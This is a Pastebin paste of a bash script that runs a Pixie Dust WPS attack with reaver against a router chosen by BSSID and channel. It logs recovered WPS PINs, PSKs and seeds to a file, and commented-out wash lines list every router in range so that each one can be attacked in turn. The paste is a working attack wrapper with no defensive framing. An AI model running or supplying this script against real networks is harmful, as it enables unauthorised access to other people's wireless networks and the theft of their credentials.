Advertisement
Guest User

pixie

a guest
Jan 27th, 2020
134
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.15 KB | None | 0 0
  1. #!/bin/bash
  2. BSSID="$1"
  3. CHANNEL="$2"
  4.  
  5. #clear
  6. printf '\n'
  7. echo -e "\033[31m#########################################################################"
  8. echo -e "\033[31m######## \e[32mAttempting to run PixieDust Attack on \e[1m$BSSID\e[2m \033[31m#######"
  9. echo -e "\033[31m#########################################################################\e[0m"
  10. printf '\n'
  11.  
  12. #reaver -i wlan1mon -b $BSSID -c $CHANNEL -N -K 1 -f -w -vv | grep 'Associated with\|Vendor:\|ESSID:\|Seed N1:\|Seed ES1:\|Seed ES2:\|PSK1:\|PSK2:\|ES1:\|ES2:\|WPS pin:\|WPS pin not found!' 2>&1 | tee -a pixie-log
  13.  
  14. #reaver -i wlan1mon -b $BSSID -c $CHANNEL -N -K 1 -f -w -vv 2> /dev/nul
  15. reaver -i wlan1mon -b $BSSID -c $CHANNEL -N -K 1 -f -w -vv 2>&1 | tee -a pixie-log
  16.  
  17. # Prints only MAC Address and Channel #
  18. #wash -i wlan1mon | sed -e 's/-.*//' -e 's/BSSID.*//' -e '/^$/ d'
  19.  
  20. # Print pixie mac channel in order to quickly run through all the routers in range using pixiedust
  21. #wash -i wlan1mon | sed -e 's/-.*//' -e 's/BSSID.*//' -e '/^$/ d' -e 's/[^ ]*/pixie &/' -e 's/ \+/ /g'
  22.  
  23. #| grep 'Vendor:\|ESSID:\|Seed N1:\|Seed ES1:\|Seed ES2:\|PSK1:\|PSK2:\|ES1:\|ES2:\|WPS pin:\|WPS pin not found!'
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement